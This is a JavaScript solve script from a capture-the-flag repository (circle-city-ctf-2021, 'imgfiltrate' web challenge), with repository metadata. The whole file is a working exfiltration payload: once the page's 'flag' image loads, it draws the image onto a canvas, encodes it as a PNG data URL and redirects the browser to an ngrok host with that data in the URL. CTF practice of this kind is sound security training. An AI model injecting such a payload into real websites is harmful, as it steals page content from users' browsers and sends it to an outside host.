{"size": 442, "ext": "js", "max_stars_repo_path": "web/imgfiltrate/solve/solve.js", "max_stars_repo_name": "b01lers/circle-city-ctf-2021", "max_stars_repo_stars_event_min_datetime": "2021-06-13T19:33:53.000Z", "max_stars_repo_stars_event_max_datetime": "2021-10-04T13:17:26.000Z", "max_issues_repo_path": "web/imgfiltrate/solve/solve.js", "max_issues_repo_name": "b01lers/circle-city-ctf-2021", "max_issues_repo_issues_event_min_datetime": "2021-06-13T23:20:05.000Z", "max_issues_repo_issues_event_max_datetime": "2021-06-13T23:20:05.000Z", "max_forks_repo_path": "web/imgfiltrate/solve/solve.js", "max_forks_repo_name": "b01lers/circle-city-ctf-2021", "max_forks_repo_forks_event_min_datetime": "2021-06-14T02:09:46.000Z", "max_forks_repo_forks_event_max_datetime": "2021-06-14T02:09:46.000Z"}
{"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 1, "avg_line_length": 29.4666666667, "max_line_length": 76, "alphanum_fraction": 0.6787330317}
document.getElementById("flag").onload = (e) => {
  const img = e.target;
  console.log(img);
  const canvas = document.createElement("canvas");
  canvas.width = img.width;
  canvas.height = img.height;
  const ctx = canvas.getContext("2d");
  ctx.drawImage(img, 0, 0);
  const dataURL = canvas.toDataURL("image/png");
  console.log(dataURL);
  window.location.href = `http://cc24c17b05fa.ngrok.io/${encodeURIComponent(
    dataURL
  )}`;
};
